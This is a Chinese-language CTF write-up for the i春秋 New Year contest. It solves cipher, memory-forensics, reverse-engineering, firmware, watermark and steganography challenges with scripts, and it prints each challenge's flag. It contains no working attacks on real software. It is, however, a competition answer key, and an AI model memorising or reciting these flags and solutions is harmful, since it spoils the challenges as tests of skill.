i春秋新年欢乐赛全部write up

013491
图片[1]-i春秋新年欢乐赛全部write up-魔法少女雪殇

第五名顺带ak了下题目，帅宝帮我日了俩re，就很牛逼，我永远喜欢师傅们

签到

写个fun对着摄像头放就会给flag了
flag{ju5t_f0r_FUN}

调查问卷

问卷调查，flag忘了

十二宫的挑衅

首先下载下来一张图片，题目说是十二宫，那就按照十二宫的算法排列好
获得字符串

^>%..@3*&#(#0+@#+.@*53)8@+@$+&!%>^&.@36%&&4@?#<!=.*9@=
(#=@79@<~)8%=^=0.*/611811)*>@#00%8$+@-$1?*53!?7-+(^(*==$$5*=+#==^4&~$7%6%.&?
#5)%51!)#?$<<^()8!?7%<@

然后通过AZdecrypt工具进行解码，获得flag

图片[2]-i春秋新年欢乐赛全部write up-魔法少女雪殇

flag{WUUHUUTAKEOFF}

evilMem

坑人题

取证部分：
常规取证

volatility -f image.vmem --profile=Win7SP1x86 pslist
图片[3]-i春秋新年欢乐赛全部write up-魔法少女雪殇

找到可疑进程EvilImage，然后利用filescan|grep “Evil”寻找程序本体

图片[4]-i春秋新年欢乐赛全部write up-魔法少女雪殇

发现EvilImage.exe与dll，然后filedump出来后，这些dll均为fake，只会解出fakeflag

正确操作：

volatility -f image.vmem --profile=Win7SP1x86 dlllist -p 1884

利用dlldump导出正确的dll，导入ida进行逆向

逆向部分：

打开Evil.dll，找到checkFlag，使用反编译

int __cdecl checkFlag(char *a1)
{
  unsigned __int16 v1; // xmm0_2
  int v2; // eax
  int v4[17]; // [esp+18h] [ebp-278h] BYREF
  char Arglist[8]; // [esp+5Ch] [ebp-234h] BYREF
  char v6; // [esp+64h] [ebp-22Ch]
  int v7[8]; // [esp+68h] [ebp-228h] BYREF
  char v8[516]; // [esp+88h] [ebp-208h] BYREF

  v6 = 0;
  *(_QWORD *)Arglist = 0i64;
  sub_73441AB0("%s", Arglist);
  v1 = _mm_loadl_epi64((const __m128i *)"temp.dll").m128i_u16[0];
  if ( __PAIR64__(0x217569D6 - SHIBYTE(v1), 0x6E7568D7 - (char)v1) == *(_QWORD *)Arglist )
  {
    puts("PASS!");
    v7[0] = 0xAA0F37A3;
    v7[1] = 0x214FF178;
    v7[2] = 0x6FF0CC56;
    v7[3] = 0x4B65E511;
    v7[4] = 0x2F60906D;
    v7[5] = 0xCA638692;
    v7[6] = 0xA001E464;
    v7[7] = 0x2BE81780;
    memset(v8, 0, 0x200u);
    v4[12] = 0;
    v4[13] = 0;
    v4[14] = (unsigned __int8)Arglist[0] | (((unsigned __int8)Arglist[1] | (*(unsigned __int16 *)&Arglist[2] << 8)) << 8);
    v4[15] = (unsigned __int8)Arglist[4] | (((unsigned __int8)Arglist[5] | (*(unsigned __int16 *)&Arglist[6] << 8)) << 8);
    sub_73441000(v4, (unsigned __int8 *)v7);
    sub_73441140(a1, v4, v8);
    v2 = 0;
    while ( byte_734430F8[v2] == v8[v2] )
    {
      if ( ++v2 >= 32 )
        return 1;
    }
  }
  else
  {
    sub_73441A70("result1:0x%x", v1 + Arglist[0]);
    sub_73441A70("result2:0x%x", Arglist[4] + HIBYTE(v1));
    puts("FAILED!");
  }
  return 0;
}

这里是真正的dll，和fakedll的密钥扩展方式和加密方式相同，但是密钥和比对的文本不同，并且多了一步验证用户输入的操作

其中sub_73441000是密钥扩展函数，sub_73441140是加密函数，sub_73441AB0是scanf

在验证第二次输入的地方下断点，得到正确的影响key的输入 chunqiu!

查看加密函数，发现都是异或和移位操作，大概率再加密一次即可解出正确的明文，所以尝试再次加密密文。

在call sub_74331140的地方下断点，把用户输入(第一个参数)改为要比对的密文(byte_734430F8)，将使用内存窗口观察第三个参数(v8)的变化，然后直接单步执行，发现v8已经变成了flag

再次执行程序验证，确是flag

flag{R3im@aging_1ndir3ctly_LoL}

puzzle

简单拼图题，丢入ps直接拼，然后就拿了一血hhh

图片[5]-i春秋新年欢乐赛全部write up-魔法少女雪殇

flag{w9w45my6x8kk4e8gp9nqm6j2c154wad49}

snowww

一个snow.jpg图片，直接foremost提取出压缩包，

解压后里面一个.m一个.mat一个orginal图片

是用matlab进行写的代码

%% Run on Matlab2012b 
clc;clear;close all;
alpha = 80;
im = double(imread('original.jpg'))/255;
mark = double(imread('watermark.png'))/255;
imsize = size(im);
TH=zeros(imsize(1)*0.5,imsize(2),imsize(3));
TH1 = TH;
TH1(1:size(mark,1),1:size(mark,2),:) = mark;
M=randperm(0.5*imsize(1));                  %%获得1080的一半长度的随机数组，0-540个随机数，共540
N=randperm(imsize(2));                      %%共1920个随机数，0-1920
save('encode.mat','M','N');                 %%m、n存入encode.mat
for i=1:imsize(1)*0.5                       %%循环，1到540循环共540次
    for j=1:imsize(2)                       %%1-1920循环
         TH(i,j,:)=TH1(M(i),N(j),:);        %%意义不明的赋值
    end
end
mark_ = zeros(imsize(1),imsize(2),imsize(3));%%创建1080 1920 3的全0矩阵
mark_(1:imsize(1)*0.5,1:imsize(2),:)=TH;    %%TH赋值给三维矩阵
for i=1:imsize(1)*0.5                          %%1-540
    for j=1:imsize(2)                          %%1-1920
        mark_(imsize(1)+1-i,imsize(2)+1-j,:)=TH(i,j,:);%%再次复制，怪
    end
end
FA=fft2(im);                                    %%对im进行傅里叶变换
FB=FA+alpha*double(mark_);                      %%傅里叶+80*double（mark_)
FAO=ifft2(FB);                                  %%在进行逆变换
imwrite(FAO,'snow.jpg');                        %%最后导出

代码进行注释，使用matlab写逆运算即可（知乎有源代码hhh，直接抄就完了

clc;clear;close all;
alpha = 80;
im = double(imread('original.jpg'))/255;
FAO = double(imread('snow.jpg'))/255;
FA = fft2(im);
imsize = size(im);
load('encode.mat','M','N');
FA2=fft2(FAO);
G=(FA2-FA)/alpha;
GG=G;
for i=1:imsize(1)*0.5
    for j=1:imsize(2)
        GG(M(i),N(j),:)=G(i,j,:);
    end
end
for i=1:imsize(1)*0.5
    for j=1:imsize(2)
        GG(imsize(1)+1-i,imsize(2)+1-j,:)=GG(i,j,:);
    end
end
figure,imshow(GG);title('extracted watermark');
imwrite(uint8(GG),'extracted watermark.jpg');

获得图片：

图片[6]-i春秋新年欢乐赛全部write up-魔法少女雪殇

有点看不清，丢入stegslove进行处理即可

flag{c93fd263-103f-4539-9a51-ad5a6437daa1}

Super Brain

ida打开，ppc架构,网上搜索提示串S32R274，得到是个雷达固件，网上找到datasheet

主函数反编译

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  Port_Init(&PortConfigSet);
  Mcu_Init(&McuModuleConfiguration);
  Mcu_InitClock(0);
  while ( Mcu_GetPllStatus() != MCU_PLL_LOCKED )
    ;
  Mcu_SetMode(0);
  Mcu_DistributePllClock();
  can_init();
  receiveGame();
  receiveAnswer();
  if ( checkAnswer() )
    printFlag();
  while ( 1 )
    ;
}

如果checkAnswer()返回非0，则printFlag()

进入checkAnswer()

bool checkAnswer()
{
  char v0; // r28
  int i; // r29

  v0 = 0;
  for ( i = 0; i < 36; i = (unsigned __int8)(i + 1) )
  {
    if ( runGame(Gamemaps[i], Answer[i]) )
      ++v0;
  }
  return v0 == 36;
}

对Answer按byte检验，如果都通过则返回1

那么gamemaps和Answer应该时ReceiveGame和receiveAnswer函数接收的

receiveGame

void receiveGame()
{
  int i; // r7
  int v1; // r8
  uint8_t *v2; // r6

  for ( i = 0; i < 36; i = (unsigned __int8)(i + 1) )
  {
    v1 = 0;
    do
    {
      while ( (MEMORY[0xFFEC0030] & 1) == 0 )
        ;
      if ( ((MEMORY[0xFFEC0084] >> 18) & 0x7FF) == 256 )
      {
        v2 = Gamemaps[i][v1];
        *v2 = MEMORY[0xFFEC0088];
        v2[1] = MEMORY[0xFFEC0089];
        v2[2] = MEMORY[0xFFEC008A];
        v2[3] = MEMORY[0xFFEC008B];
        v2[4] = MEMORY[0xFFEC008C];
        v2[5] = MEMORY[0xFFEC008D];
        v2[6] = MEMORY[0xFFEC008E];
        v1 = (unsigned __int8)(v1 + 1);
      }
      MEMORY[0xFFEC0030] = 1;
    }
    while ( v1 < 7 );
  }
}

出现了没有识别的内存位置，由于这是个雷达固件，猜测这些内存位置保存着某个端口接收后的数据

还可以看到，gamemaps是36(77)的char数组

同理可以查看receiveAnswer

查看printFlag

void printFlag()
{
  int i; // r8
  int j; // r6
  uint8_t *v2; // r7

  for ( i = 0; i < 36; i = (unsigned __int8)(i + 1) )
    Flag[i + 5] = CharDict[(OfsBas[i] + Answer[i]) % 17];
  for ( j = 0; j < 6; j = (unsigned __int8)(j + 1) )
  {
    MEMORY[0xFFEC0090] = MEMORY[0xFFEC0090] & 0xF0FFFFFF | 0x8000000;
    MEMORY[0xFFEC0094] = MEMORY[0xFFEC0094] & 0xE003FFFF | 0x4040000;
    v2 = &Flag[8 * j];
    MEMORY[0xFFEC0098] = *v2;
    MEMORY[0xFFEC0099] = v2[1];
    MEMORY[0xFFEC009A] = v2[2];
    MEMORY[0xFFEC009B] = v2[3];
    MEMORY[0xFFEC009C] = v2[4];
    MEMORY[0xFFEC009D] = v2[5];
    MEMORY[0xFFEC009E] = v2[6];
    MEMORY[0xFFEC009F] = v2[7];
    MEMORY[0xFFEC0090] = MEMORY[0xFFEC0090] & 0xFFF0FFFF | 0x80000;
    MEMORY[0xFFEC0090] &= 0xFFBFFFFF;
    MEMORY[0xFFEC0090] &= 0xFFDFFFFF;
    MEMORY[0xFFEC0090] = MEMORY[0xFFEC0090] & 0xF0FFFFFF | 0xC000000;
    while ( (HIBYTE(MEMORY[0xFFEC0090]) & 0xF) != 8 )
      ;
  }
}

需要Answer，charDict,ofsBas，查看字符串，发现一个flag{xxx…xxx}

.data:00FA0990 a0123456789abcd:.string "0123456789abcdef-"
.data:00FA0990                                         # DATA XREF: data_copy2+14↑o
.data:00FA0990                                         # data_copy_loop3↑r
.data:00FA0990                 .byte 0
.data:00FA09A2                 .align 2
.data:00FA09A4                 .byte 0x17
.data:00FA09A5                 .byte    6
.data:00FA09A6                 .byte  0xA
.data:00FA09A7                 .byte 0x20
.data:00FA09A8                 .byte 0x2D # -
.data:00FA09A9                 .byte  0xB
.data:00FA09AA                 .byte 0x39 # 9
.data:00FA09AB                 .byte    1
.data:00FA09AC                 .byte  0xA
.data:00FA09AD                 .byte 0x10
.data:00FA09AE                 .byte 0x5E # ^
.data:00FA09AF                 .byte    1
.data:00FA09B0                 .byte 0x1A
.data:00FA09B1                 .byte  0xF
.data:00FA09B2                 .byte 0x51 # Q
.data:00FA09B3                 .byte 0x59 # Y
.data:00FA09B4                 .byte    6
.data:00FA09B5                 .byte 0x1F
.data:00FA09B6                 .byte  0xE
.data:00FA09B7                 .byte    9
.data:00FA09B8                 .byte 0x23 # #
.data:00FA09B9                 .byte 0x47 # G
.data:00FA09BA                 .byte    3
.data:00FA09BB                 .byte  0xA
.data:00FA09BC                 .byte 0x38 # 8
.data:00FA09BD                 .byte    5
.data:00FA09BE                 .byte 0x48 # H
.data:00FA09BF                 .byte 0x23 # #
.data:00FA09C0                 .byte    2
.data:00FA09C1                 .byte  0xA
.data:00FA09C2                 .byte 0x12
.data:00FA09C3                 .byte 0x33 # 3
.data:00FA09C4                 .byte 0x1D
.data:00FA09C5                 .byte 0x1F
.data:00FA09C6                 .byte 0x48 # H
.data:00FA09C7                 .byte 0x15
.data:00FA09C8 aFlagXxxxxxxxxx:.string "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"

00FA0990处的数据看起来像字符串，交叉引用发现初始化了charDict，下面那一系列未知的byte正好36个，结合printFlag，猜测这些数据初始化了ofsBas

现在就差Answer和Gamemap，查看CANLog.asc

拖到组后，发现一系列未知值

 5.145359 1  101             Rx   d 8 66 6C 61 67 7B XX XX XX  Length = 215910 BitCount = 112 ID = 257
   5.145592 1  101             Rx   d 8 XX XX XX XX XX XX XX XX  Length = 221910 BitCount = 115 ID = 257
   5.145820 1  101             Rx   d 8 XX XX XX XX XX XX XX XX  Length = 217910 BitCount = 113 ID = 257
   5.146046 1  101             Rx   d 8 XX XX XX XX XX XX XX XX  Length = 215910 BitCount = 112 ID = 257
   5.146276 1  101             Rx   d 8 XX XX XX XX XX XX XX XX  Length = 219910 BitCount = 114 ID = 257
   5.146524 1  101             Rx   d 8 XX 7D 00 00 00 00 00 00  Length = 237910 BitCount = 123 ID = 257

恰好是flag{xxxx…xxx}

Rx显然是接收端口的意思，可以得知这是使用另一台设备和雷达交互时得到的log，中间那些是数据

那结合之前的receiveGame和receiveAnswer，上面还是Tx，那上面一定是gamemap和answer。answer还是未知值，36个

去掉所有未知值和其它信息，应该是gamemap，一共3678个byte，发现每一行最后一个字节都是00，所以这个00应该是无用的，直接删掉

因为是按byte比较，可以直接复制checkAnswer()进行穷举

#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include "defs.h"
// #include <setimp.h>
uint8_t map[36][7][7] = {
    01,00,00,00,00,00,00,
03,00,02,02,03,01,03,
01,03,02,01,02,02,01,
03,02,03,01,00,01,00,
03,03,00,01,02,01,00,
00,03,02,02,02,01,03,
02,02,02,02,01,02,03,
00,00,00,00,00,01,00,
00,02,02,02,01,01,01,
00,02,03,02,02,00,01,
00,03,01,00,02,00,01,
00,00,02,01,03,01,01,
03,00,01,02,02,00,02,
03,03,03,00,02,03,03,
00,02,02,00,00,02,01,
01,03,00,03,01,00,02,
00,01,01,00,02,03,03,
03,01,00,00,02,00,02,
03,03,03,03,03,02,01,
03,03,00,00,03,02,02,
00,02,03,01,02,01,00,
03,02,01,03,00,01,01,
01,00,02,00,01,01,01,
01,00,00,03,02,02,00,
01,03,02,02,01,02,01,
00,01,03,03,01,03,01,
02,03,02,00,02,01,03,
03,02,00,03,03,02,01,
01,00,00,00,02,02,02,
01,03,00,03,03,00,01,
03,03,03,01,00,03,01,
02,01,00,01,00,00,02,
03,00,00,02,02,03,01,
03,03,00,01,02,01,01,
03,03,03,00,00,03,00,
01,02,01,00,01,01,00,
02,03,03,03,00,01,00,
03,03,02,01,03,03,02,
01,02,00,00,01,03,03,
00,03,01,01,00,03,03,
00,02,03,01,02,02,03,
00,00,02,00,03,02,03,
01,02,00,02,00,00,03,
03,02,03,03,03,00,02,
02,00,01,02,01,00,01,
02,03,02,01,02,03,03,
02,00,02,03,02,00,02,
03,03,01,01,02,01,02,
00,00,03,03,03,01,02,
01,02,02,02,03,01,01,
00,02,00,02,02,03,02,
03,03,03,02,03,02,03,
03,00,02,00,02,02,03,
00,02,02,02,01,02,01,
02,03,02,01,02,00,00,
00,00,03,03,00,03,03,
00,00,00,01,03,03,03,
02,03,01,00,00,01,02,
00,00,00,02,02,00,01,
02,02,02,02,00,00,03,
00,03,03,00,00,01,03,
00,01,03,01,02,00,01,
00,03,02,02,02,02,02,
00,00,00,00,02,03,00,
02,01,00,00,03,03,01,
03,01,03,01,01,02,01,
00,02,02,03,03,01,02,
03,00,02,00,02,01,02,
01,02,02,01,03,01,03,
01,02,03,03,01,02,01,
03,01,03,01,00,01,01,
00,03,03,03,00,03,02,
00,01,03,03,00,01,03,
03,03,02,00,02,00,01,
00,00,00,01,03,02,01,
03,03,00,02,03,00,03,
00,02,03,03,02,03,01,
03,02,01,00,00,01,01,
01,03,03,01,00,03,03,
00,00,00,00,02,03,02,
03,02,03,03,02,02,00,
00,00,01,00,00,03,02,
02,01,02,03,02,01,02,
00,03,02,03,02,03,00,
00,02,00,01,02,02,03,
00,02,02,01,03,01,03,
02,00,03,02,03,01,02,
02,03,00,02,00,00,02,
03,00,01,00,01,03,02,
00,01,02,02,01,01,02,
03,00,03,01,03,03,02,
02,00,03,00,01,00,00,
03,03,02,03,00,02,00,
03,00,00,02,00,02,01,
00,03,00,03,02,03,00,
00,01,02,02,03,02,00,
02,02,01,00,02,03,01,
01,02,03,01,03,02,03,
00,00,00,00,00,02,02,
00,01,03,01,00,02,00,
01,01,00,01,03,00,03,
03,03,01,03,01,01,02,
03,00,01,00,01,02,03,
02,03,02,03,01,03,01,
03,02,00,02,01,01,00,
01,00,01,00,01,00,02,
03,02,03,01,03,02,00,
00,01,00,02,01,02,01,
02,02,00,02,03,03,00,
02,00,02,03,02,00,02,
03,02,02,01,02,00,00,
03,02,02,03,03,02,00,
02,02,01,03,00,00,00,
03,00,01,00,02,02,00,
00,02,03,00,00,01,02,
03,03,01,00,00,03,00,
03,01,02,02,00,03,03,
00,02,00,02,03,00,01,
03,02,03,01,00,01,02,
02,02,02,01,02,02,03,
03,03,00,02,02,03,01,
03,01,03,01,01,00,02,
00,03,02,00,00,02,00,
00,00,01,01,03,03,02,
01,02,03,00,02,02,01,
02,02,03,02,01,00,03,
01,01,00,01,02,03,03,
02,03,03,00,03,02,00,
03,03,00,01,00,00,00,
01,00,01,03,03,01,01,
02,03,02,00,02,00,02,
02,01,01,00,01,00,03,
00,03,02,03,00,03,03,
00,00,00,03,02,00,00,
01,03,00,00,03,03,01,
00,01,02,01,01,01,03,
03,01,01,01,02,03,03,
03,02,01,02,01,02,00,
01,02,02,03,03,01,00,
00,03,00,03,02,03,03,
03,01,00,00,01,00,01,
03,03,03,01,02,01,00,
03,01,00,02,03,00,02,
00,02,02,02,01,00,00,
00,00,00,01,01,02,00,
01,02,02,01,00,02,02,
00,03,00,02,00,00,03,
03,00,03,01,03,02,00,
03,00,00,03,03,02,02,
03,00,03,03,01,02,01,
03,02,03,03,03,03,00,
00,00,00,03,00,01,01,
02,00,03,01,03,02,00,
01,00,02,02,02,01,01,
02,02,00,03,01,00,01,
01,03,01,02,03,01,01,
02,00,01,03,03,02,02,
03,03,03,03,03,01,00,
03,00,03,03,00,00,03,
00,02,00,01,01,02,01,
01,03,03,00,00,02,00,
00,02,00,01,02,02,00,
03,03,02,00,01,03,03,
02,02,02,01,02,01,03,
00,03,03,02,00,01,02,
00,03,02,00,00,02,01,
03,02,01,01,02,03,01,
03,03,03,03,03,03,00,
01,00,02,01,00,00,02,
01,03,03,00,00,01,00,
00,00,02,01,00,02,03,
03,02,03,00,01,01,00,
03,03,02,03,00,03,00,
03,02,00,02,01,02,01,
03,03,00,03,00,00,02,
03,01,02,03,03,00,01,
03,02,02,00,03,00,02,
00,03,01,01,02,00,02,
02,03,02,01,00,00,02,
01,01,02,00,00,01,02,
02,02,01,02,00,02,01,
00,00,00,00,03,03,00,
00,01,00,02,03,02,00,
02,03,00,03,01,03,01,
01,02,02,02,01,00,03,
03,01,02,01,01,00,01,
00,02,00,03,03,02,00,
03,03,02,01,02,00,03,
03,00,00,03,00,00,03,
02,00,00,02,01,01,00,
03,03,00,02,03,00,03,
03,02,00,01,01,01,01,
00,02,03,01,00,03,01,
00,03,01,03,01,00,03,
03,01,02,02,00,03,00,
01,03,00,00,03,02,02,
02,03,03,01,00,03,02,
02,03,00,02,00,01,03,
00,02,02,03,00,02,02,
02,02,00,01,01,01,03,
00,03,01,02,03,01,00,
03,02,02,01,01,02,01,
01,01,01,02,00,00,00,
00,00,02,03,01,00,01,
02,00,03,00,01,00,02,
03,02,00,03,03,01,00,
01,03,00,00,01,00,03,
03,00,03,02,01,03,01,
03,01,01,01,01,00,02,
01,00,03,02,00,03,00,
02,02,02,01,00,01,01,
03,00,00,03,01,02,01,
03,03,03,01,03,01,01,
00,02,02,01,01,00,00,
02,02,03,03,03,00,01,
02,02,01,03,02,02,00,
02,00,03,00,00,03,03,
03,02,00,01,01,00,01,
03,00,00,03,02,02,01,
00,01,03,03,03,01,01,
03,02,02,03,03,00,01,
03,01,03,00,01,00,03,
02,01,00,01,01,01,02,
01,01,02,03,02,01,00,
01,01,02,00,03,02,01,
03,01,03,00,00,03,01,
03,00,01,02,00,00,03,
02,02,03,02,03,01,03,
02,02,03,03,03,01,02,
03,02,03,03,00,01,00,
03,03,02,02,00,03,03,
02,01,03,00,02,02,00,
03,01,03,02,00,00,03,
00,02,03,03,03,02,00,
02,03,00,01,03,01,02,
00,01,01,02,02,01,02,
00,03,01,02,01,03,02,
00,03,02,03,01,00,01,
03,03,01,03,03,00,02,
01,02,01,03,00,02,03,
00,01,02,03,01,01,02,
02,01,00,03,00,02,01,
03,03,00,02,03,01,02,
02,02,03,03,02,03,01,
03,02,02,03,00,02,03,
01,00,02,00,02,03,00,
02,01,03,00,00,03,00,
02,03,00,00,01,02,00,
03,03,00,02,00,01,01,
03,00,03,02,01,02,00,
00,03,02,01,00,02,02,
02,03,02,02,02,00,01
};
void printArray(const char *name,uint8_t *v,size_t len){
    printf("========%s=========\n",name);
    for(size_t i=0;i<len;i++){
        printf("0x%02X,",v[i]);
    }
    printf("\n=================\n");
}
uint8_t loc_F98664[]={0xe8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x18,0x21,0x6,0xa0,0x19,0xc1,0x9,0x18,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0xe8,0x0,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x7c,0x0,0x2,0x78,0x7c,0x21,0xa,0x78,0x7c,0x42,0x12,0x78,0x7c,0x63,0x1a,0x78,0x7c,0x84,0x22,0x78,0x7c,0xa5,0x2a,0x78,0x7c,0xc6,0x32,0x78,0x7c,0xe7,0x3a,0x78,0x7d,0x8,0x42,0x78,0x7d,0x29,0x4a,0x78,0x7d,0x4a,0x52,0x78,0x7d,0x6b,0x5a,0x78,0x7d,0x8c,0x62,0x78,0x7d,0xad,0x6a,0x78,0x7d,0xce,0x72,0x78,0x7d,0xef,0x7a,0x78,0x7e,0x10,0x82,0x78,0x7e,0x31,0x8a,0x78,0x7e,0x52,0x92,0x78,0x7e,0x73,0x9a,0x78,0x7e,0x94,0xa2,0x78,0x7e,0xb5,0xaa,0x78,0x7e,0xd6,0xb2,0x78,0x7e,0xf7,0xba,0x78,0x7f,0x18,0xc2,0x78,0x7f,0x39,0xca,0x78,0x7f,0x5a,0xd2,0x78};
uint8_t runGame(uint8_t (*gamemap)[7], uint8_t startPoint)
{
  int startPoint_1; // r18
  char *v3; // r7
  char *v4; // r6
  int v5; // ctr
  char v6; // r4
  char v7; // r5
  int v8; // r17
  int v9; // r6
  int v10; // r19
  char *v11; // r5
  uint8_t *v12; // r4
  uint8_t *v13; // r4
  uint8_t *v14; // r5
  char *v15; // r20
  char *v16; // r3
  int v17; // r6
  char v19[61]; // [sp+7h] [-79h] BYREF

  LOBYTE(startPoint_1) = startPoint;
  v3 = (char *)loc_F98664 + 1;
  v4 = v19;
  v5 = 24;
  do
  {
    v6 = v3[1];
    v3 += 2;
    v7 = *v3;
    v4[1] = v6;
    v4 += 2;
    *v4 = v7;
    --v5;
  }
  while ( v5 );
  v4[1] = v3[1];
  v8 = -1;
  v9 = 0;
  v10 = 0;
  do
  {
    v11 = &v19[7 * v9];
    v12 = &(*gamemap)[7 * v9 - 1];
    do
    {
      *++v11 = *++v12;
      ++v10;
    }
    while ( ((v10 - 7) & 1) != 0 );
    for ( ; v10 < 7; v10 += 2 )
    {
      v13 = v12 + 1;
      v14 = v11 + 1;
      *v14 = *v13;
      v12 = v13 + 1;
      v11 = v14 + 1;
      *v11 = *v12;
    }
    ++v9;
    v10 = 0;
  }
  while ( v9 < 7 );
  startPoint_1 = (char)startPoint_1;
LABEL_10:
  v15 = &v19[7 * startPoint_1 + 1];
  while ( v10 < 7 && startPoint_1 >= 0 && startPoint_1 < 7 )
  {
    v16 = &v15[v10];
    v17 = v15[v10];
    if ( startPoint_1 % 2 )
    {
      if ( v15[v10] )
      {
        if ( v17 == 1 )
        {
          *v16 = 0;
          v8 = 0;
          --startPoint_1;
          goto LABEL_10;
        }
        if ( v17 != 2 )
        {
          if ( v17 != 3 )
            return v8 == 1;
          *v16 = 2;
          v8 = 2;
          ++startPoint_1;
          goto LABEL_10;
        }
        *v16 = 1;
        v8 = 1;
        if ( ++v10 >= 0 )
          goto LABEL_10;
      }
      else
      {
        *v16 = 3;
        v8 = 3;
        if ( --v10 >= 0 )
          goto LABEL_10;
      }
      return v8 == 1;
    }
    if ( v15[v10] )
    {
      if ( v17 == 1 )
      {
        *v16 = 2;
        v8 = 2;
        ++startPoint_1;
        goto LABEL_10;
      }
      if ( v17 != 2 )
      {
        if ( v17 != 3 )
          return v8 == 1;
        *v16 = 0;
        v8 = 0;
        --startPoint_1;
        goto LABEL_10;
      }
      *v16 = 3;
      v8 = 3;
      if ( --v10 >= 0 )
        goto LABEL_10;
      return v8 == 1;
    }
    *v16 = 1;
    v8 = 1;
    if ( ++v10 < 0 )
      return v8 == 1;
  }
  return v8 == 1;
}

int main(){
    uint8_t flag[37]={0};
    for(int i=0;i<36;i++){
        for(int j=0;j<0x7f;j++){
            if(runGame(map[i],j)){
                flag[i]=j;
                break;
            }
        }
    }
    printArray("flag",flag,36);
    return 0;
}

得到输出之后求解flag

charDict = '0123456789abcdef-'
ofsBas=[0x17,0x6,0xa,0x20,0x2d,0xb,0x39,0x1,0xa,0x10,0x5e,0x1,0x1a,0xf,0x51,0x59,0x6,0x1f,0xe,0x9,0x23,0x47,0x3,0xa,0x38,0x5,0x48,0x23,0x2,0xa,0x12,0x33,0x1d,0x1f,0x48,0x15]
f = [0x04,0x06,0x04,0x06,0x06,0x04,0x03,0x03,0x06,0x02,0x02,0x02,0x04,0x01,0x00,0x05,0x01,0x01,0x02,0x06,0x01,0x02,0x03,0x06,0x06,0x06,0x03,0x01,0x04,0x04,0x05,0x01,0x06,0x01,0x06,0x03]
r = 'flag{'
for i in range(36):
    r+=charDict[(f[i]+ofsBas[i])%17]
r+='}'
print(r)

flag{ace40f94-1b3d-d97f-f256-bb726e611fa7}

2019-nCoV

一个压缩包，一个hint，两个音频，直接看hint

是base32加密，解密后明文：

图片[7]-i春秋新年欢乐赛全部write up-魔法少女雪殇

两个论文网页，一个基因查询页面，以及一个密码的加密方式

中级那句话要求注意最大蛋白质，根据两个论文可知新冠的基因序列号是MN908947，利用第二个网站进行搜索

图片[8]-i春秋新年欢乐赛全部write up-魔法少女雪殇

获得重要基因组，暂时放着

根据论文最大蛋白是刺突蛋白，以及序列数位

图片[9]-i春秋新年欢乐赛全部write up-魔法少女雪殇

根据上述的网站找到，复制并计算md5

图片[10]-i春秋新年欢乐赛全部write up-魔法少女雪殇

md5:98eb1b1760bcc837934c8695a1cee923

经过测试，是mp3stego对cov.mp3进行加密的密文，解密后获得文件

图片[11]-i春秋新年欢乐赛全部write up-魔法少女雪殇

血压升高，获得readflag.zip的密码

获得hint2为base16加密，以及一张照片

图片[12]-i春秋新年欢乐赛全部write up-魔法少女雪殇

分析第一句：

图片[13]-i春秋新年欢乐赛全部write up-魔法少女雪殇

看不懂，接着看

第二句可以得出jpg图片的加密方式

第三句知道密码加密方式是通过维吉尼亚加密

第四句可知要找在第一句的基因链中存在最多的20个字符串，那只能理解第一个让我们组合MNE这三个基因组了

通过组合撰写提出字符top20的exp

dic=dict()
d={}
s=set()
s='MFHLVDFQVTIAEILLIIMRTFKVSIWNLDYIINLIIKNLSKSLTENKYSQLDEEQPMEIDMADSNGTITVEELKKLLEQWNLVIGFLFLTWICLLQFAYANRNRFLYIIKLIFLWLLWPVTLACFVLAAVYRINWITGGIAIAMACLVGLMWLSYFIASFRLFARTRSMWSFNPETNILLNVPLHGTILTRPLLESELVIGAVILRGHLRIAGHHLGRCDIKDLPKEITVATSRTLSYYKLGASQRVAGDSGFAAYSRYRIGNYKLNTDHSSSSDNIALLVQMSDNGPQNQRNAPRITFGGPSDSTGSNQNGERSGARSKQRRPQGLPNNTASWFTALTQHGKEDLKFPRGQGVPINTNSSPDDQIGYYRRATRRIRGGDGKMKDLSPRWYFYYLGTGPEAGLPYGANKDGIIWVATEGALNTPKDHIGTRNPANNAAIVLQLPQGTTLPKGFYAEGSRGGSQASSRSSSRSRNSSRNSTPGSSRGTSPARMAGNGGDAALALLLLDRLNQLESKMSGKGQQQQGQTVTKKSAAEASKKPRQKRTATKAYNVTQAFGRRGPEQTQGNFGDQELIRQGTDYKHWPQIAQFAPSASAFFGMSRIGMEVTPSGTWLTYTGAIKLDDKDPNFKDQVILLNKHIDAYKTFPPTEPKKDKKKKADETQALPQRQKKQQTVTLLPAADLDDFSKQLQQSMSSADSTQA'
d=dict()
for x in s:
    if x not in d.keys():
        d[x]=1
    else:
        d[x]=d[x]+1
print(d)

接下来寻找密文，通过silentEye对pass.wav进行解密，获得密文

图片[14]-i春秋新年欢乐赛全部write up-魔法少女雪殇

然后进行对top20的排序，经过多次试错，发现排列顺序为：

从大到小，相同字母按照字母表逆序排序，还有一个例外，最后加上COMBAT，获得最终密钥

LGASTRIQKNDPFEVYMWHCCOMBAT获得明文

eliminatenovelcoronavirts

通过steghide进行解密即可

图片[15]-i春秋新年欢乐赛全部write up-魔法少女雪殇

flag{we_will_over_come_SARS-COV}

old_driver

给了一个attack.py，以及imgs，

attack里面写了flag格式

说是样本对抗，我以为是那种类似盲水印的样本对抗，实际上确是直接给的不一样的照片

通过眼睛找出所有照片

图片[16]-i春秋新年欢乐赛全部write up-魔法少女雪殇

撰写脚本，

获得flag

import os
from hashlib import md5,sha256

myimages = []

for i in os.listdir('shit'):
    for o in os.listdir('shit'+'/'+i):
        myimages.append(int(o[:-4]))
# for cl in range(9):
print(myimages)
print(str(sorted(myimages)))
flag = 'flag{' + md5(str(sorted(myimages)).encode()).hexdigest() + '}'
